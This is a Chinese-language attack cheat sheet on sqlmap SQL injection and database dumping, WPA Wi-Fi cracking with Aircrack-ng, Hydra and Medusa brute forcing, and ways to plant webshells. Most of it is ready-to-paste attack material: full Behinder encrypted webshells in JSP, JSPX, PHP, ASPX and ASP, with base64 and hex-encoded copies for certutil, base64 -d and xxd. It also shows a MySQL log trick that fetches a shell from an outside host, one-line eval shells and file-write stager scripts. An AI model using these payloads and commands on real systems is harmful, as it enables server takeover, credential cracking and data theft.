- –wizard 给初级用户的简单向导界面
sqlmap使用
使用代理
可以配合代理池,我之前有发过
sqlmap -u “http://www.vuln.cn/post.php?id=1” --proxy “http://127.0.0.1:1080″
检测注入
sqlmap -u “http://www.vuln.cn/post.php?id=1”
cookie注入
只有level达到2才会检测cookie
sqlmap -u “http://www.vuln.cn” –cookie “id=11” --level 2
数据包注入
sqlmap -r “c:\tools\request.txt”
post注入
sqlmap -u "http://www.vuln.cn/post.php?id=1" --method POST --data "id=1"
伪静态注入
因为+号会被url编码,所以我们通常使用减号来进行判断。
http://www.xxxx.com/product/detail/id/3-1.html
注入的地方用*号
sqlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3
跑库
--dbms指定数据库
--dbs列出全部数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --dbs
跑表
-D指定数据库(test)
--tables列出该库全部表
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test --tables
跑列名
-T指定表(admin)
--columns列出该表全部列名
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin –-columns
跑数据
-C指定列名
--dump跑全部数据
--start 1 --stop 10 跑十条数据
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin -C “username,password” --dump
判断是否是管理员
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --is-dba
sqlshell
获取一个sqlshell,可以用来执行sql语句
sqlmap -u “http://www.vuln.cn/post.php?id=1” --sql-shell
用search参数快速定位password列
sqlmap -r “c:\tools\request.txt” –dbms mysql -D test –search -C admin,password
获取shell
条件:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
都能上传了,直接传一个一句话不香吗?
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径) –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell) –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 #写示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
#读示例
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-read="e:\www\as\config.php"
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
Tamper使用
这里推一个工具,可以自动选择tamper
https://github.com/m4ll0k/Atlas
使用
先用sqlmap 跑一下注入点(需要输出使用的payload)
- Run SQLMap:
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
Price_ASC') AND 8716=4837 AND ('yajr'='yajr
is blocked by WAF/IDS/IPS, now trying with Atlas:
拿到使用的payload,使用atlas.py来查找可用的tamper
$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
找到后,就可以直接使用(上面找到versionedkeywords)
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
Aircrack-ng破解WIFI密码
参考https://blog.csdn.net/qq_36119192/article/details/84254622
破解无线wifi可以分为以下几步:
- 查看网卡名字:iwconfig
- 设置网卡为监听模式:airmon-ng start wlan0
- 扫描附近的WIFI:airodump-ng wlan0mon
- 选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon
- 选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon
- 对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b BC:46:99:3D:66:D6 tplink-01.cap
查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以
开启网卡监听模式:airmon-ng start wlan0 。网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon
扫描附近的WIFI:airodump-ng wlan0mon ,会显示附近所有的WIFI信号。
- BSSID代表路由器的 MAC 地址
- PWR 代表信号的强度,数值越大代表信息越强
- CH 代表信道
- ENC代表用的加密的方式
- AUTH 代表认证的方式
- ESSID是WIFI的名字
我们需要选定一个准备破解的WIFI,我们选 tplink-5
监听该路由器的流量:
airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址
也可以监听整个信道的路由器流量:
airodump-ng -w tplink -c 11 wlan0mon # -w 参数指定生成的文件名 -c 指定信道
下面的 STATION 是连接该WIFI的客户端,下面这里只有一个客户端连接了该WIFI。如果有多个客户端连接的话,我们最好选择活跃点的客户端。
重新打开一个命令行窗口(之前的监听不要关闭),开始攻击!之前的窗口继续保留,用于观察是否抓包成功
aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址
该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包!
如果在监听窗口看到下面红色圈住的这些,就说明握手包抓取成功了(没抓到可以多试几次,直到抓包成功为止)
我们可以看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件
对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典!
kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址
可以看到,破解成功!该WIFI的密码为 www.123.com
从最后可以看出,要想破解出WIFI的密码,还是得需要一个很强大的字典!
爆破攻击
Hydra
参数:
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10
Medusa
参数:
-h 目标名或IP -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
getshell方法
利用JavaScript转写php
为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
访问11.php 就会生成shell.php 这里的shell也是用了哥斯拉的免杀shell
命令执行写shell
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php
https://www.anquanke.com/post/id/245019
Windows
在windows主要的写入方法,我主要用以下两种:
set /p=要写的内容<nul > C:\11.txt
echo 要写的内容 > C:\11.txt
在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”
下面以echo为例,写入冰蝎各脚本语言shell,其中需要转义的东西,我已经帮各位表哥转过了,拿来直接用即可:
(1)jsp
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
(2)jspx
echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^>^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^>^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^>^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^>^</jsp:root^> > 111.jspx
(3)php
echo ^<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl'))^{$t="base64_"."decode";$post=$t($post."");for($i=0;$i^<strlen($post);$i++) ^{$post[$i] = $post[$i]^^$key[$i+1^&15]; ^}^}else^{$post=openssl_decrypt($post, "AES128", $key);^}$arr=explode('^|',$post);$func=$arr[0];$params=$arr[1];class C^{public function __invoke($p) ^{eval($p."");^}^}@call_user_func(new C(),$params);?^> > 111.php
(4)java9 jsp
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
(5)aspx
echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx
(6)asp
echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp
(1)certutil-Base64
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 111.txt
certutil -f -decode 111.txt C:\\111.jsp
(2)certutil-Hex
echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt
certutil -decodehex 111.txt C:\\111.jsp
(b)Linux
在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。
(1)jsp
echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' > 111.jsp
(2)jspx
echo '<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>' > 111.jspx
(3)php
echo -e '<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION[\047k\047]=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded(\047openssl\047)){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode(\047|\047,$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?> ' > 111.php
(4)aspx
echo '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' > 111.aspx
(5)asp
echo -e '<%\nResponse.CharSet = "UTF-8" \nk="e45e329feb5d925b" \nSession("k")=k\nsize=Request.TotalBytes\ncontent=Request.BinaryRead(size)\nFor i=1 To size\nresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))\nNext\nexecute(result)\n%>' > 111.asp
Linux
和windows不同,linux在途中就已经转换完毕,落地文件已经成为shell。大部分玩家都是懒得转义shell中的字符,而使用下面的方法。主要也是分base64以及hex两种。
(1)jsp
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= |base64 -d > 111.jsp
echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e|xxd -r -ps > 111.jsp
(2)jspx
echo PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+|base64 -d > 111.jsp
echo 3c6a73703a726f6f7420786d6c6e733a6a73703d22687474703a2f2f6a6176612e73756e2e636f6d2f4a53502f50616765222076657273696f6e3d22312e32223e3c6a73703a6469726563746976652e7061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a222f3e3c6a73703a6465636c61726174696f6e3e20636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d3c2f6a73703a6465636c61726174696f6e3e3c6a73703a7363726970746c65743e537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b3c2f6a73703a7363726970746c65743e3c2f6a73703a726f6f743e|xxd -r -ps > 111.jspx
(3)php
echo PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTtzZXNzaW9uX3N0YXJ0KCk7JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7JF9TRVNTSU9OWydrJ109JGtleTtzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7JHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSl7JHQ9ImJhc2U2NF8iLiJkZWNvZGUiOyRwb3N0PSR0KCRwb3N0LiIiKTtmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHskcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgfX1lbHNleyRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpO30kYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTskZnVuYz0kYXJyWzBdOyRwYXJhbXM9JGFyclsxXTtjbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319QGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Pz4K|base64 -d > 111.php
echo 3c3f70687020406572726f725f7265706f7274696e672830293b73657373696f6e5f737461727428293b246b65793d2265343565333239666562356439323562223b245f53455353494f4e5b276b275d3d246b65793b73657373696f6e5f77726974655f636c6f736528293b24706f73743d66696c655f6765745f636f6e74656e747328227068703a2f2f696e70757422293b69662821657874656e73696f6e5f6c6f6164656428276f70656e73736c2729297b24743d226261736536345f222e226465636f6465223b24706f73743d24742824706f73742e2222293b666f722824693d303b24693c7374726c656e2824706f7374293b24692b2b29207b24706f73745b24695d203d2024706f73745b24695d5e246b65795b24692b312631355d3b207d7d656c73657b24706f73743d6f70656e73736c5f646563727970742824706f73742c2022414553313238222c20246b6579293b7d246172723d6578706c6f646528277c272c24706f7374293b2466756e633d246172725b305d3b24706172616d733d246172725b315d3b636c61737320437b7075626c69632066756e6374696f6e205f5f696e766f6b6528247029207b6576616c2824702e2222293b7d7d4063616c6c5f757365725f66756e63286e6577204328292c24706172616d73293b3f3ea|xxd -r -ps > 111.php
(4)aspx
echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SZWZsZWN0aW9uIiU+PCVTZXNzaW9uLkFkZCgiayIsImU0NWUzMjlmZWI1ZDkyNWIiKTtieXRlW10gayA9IEVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoU2Vzc2lvblswXSArICIiKSxjID0gUmVxdWVzdC5CaW5hcnlSZWFkKFJlcXVlc3QuQ29udGVudExlbmd0aCk7QXNzZW1ibHkuTG9hZChuZXcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmFnZWQoKS5DcmVhdGVEZWNyeXB0b3IoaywgaykuVHJhbnNmb3JtRmluYWxCbG9jayhjLCAwLCBjLkxlbmd0aCkpLkNyZWF0ZUluc3RhbmNlKCJVIikuRXF1YWxzKHRoaXMpOyU+|base64 -d > 111.aspx
echo 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e|xxd -r -ps > 111.aspx
(5)asp
echo PCUKUmVzcG9uc2UuQ2hhclNldCA9ICJVVEYtOCIgCms9ImU0NWUzMjlmZWI1ZDkyNWIiClNlc3Npb24oImsiKT1rCnNpemU9UmVxdWVzdC5Ub3RhbEJ5dGVzCmNvbnRlbnQ9UmVxdWVzdC5CaW5hcnlSZWFkKHNpemUpCkZvciBpPTEgVG8gc2l6ZQpyZXN1bHQ9cmVzdWx0JkNocihhc2NiKG1pZGIoY29udGVudCxpLDEpKSBYb3IgQXNjKE1pZChrLChpIGFuZCAxNSkrMSwxKSkpCk5leHQKZXhlY3V0ZShyZXN1bHQpCiU+|base64 -d > 111.asp
二次法
对于二次法,就是先传一个文件上传的小“shell”,然后通过指定方式进行上传其他文件。有一个好处就是,它本身不是木马病毒,就是一个写入文件的功能脚本,所以一般杀毒不会杀,这样我们就可以随意上传了。
(a)JSP
GET类型
(1)god.jsp内容 (先遣部队)
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
(2)写jsp shell
get类型写shell需要注意url编码。
http://ip/god.jsp?f=111.jsp&t=<%25@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%25><%25!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%25><%25if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%25>
(3)写jspx shell
http://ip/god.jsp?f=111.jspx&t=<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")%2B"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
POST类型
<%@ page language=”java” pageEncoding=”gbk”%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter(“act”);if(method!=null&&method.equals(“yoco”)){String url=request.getParameter(“url”);String text=request.getParameter(“smart”);File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
error
<%}}if(i==0){%>
ok
<%}%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
<textarea rows="20" cols="80" name="smart">
(b)PHP
GET类型
(1)god.php内容 (先遣部队)
<?php fwrite(fopen($_GET['filename'], "w"), $_GET['content']);?>
(2)写php shell
http://host/god.php?filename=111.php&content=<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i%2B%2B) {$post[$i] = $post[$i]^$key[$i%2B1%2615]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>
POST类型
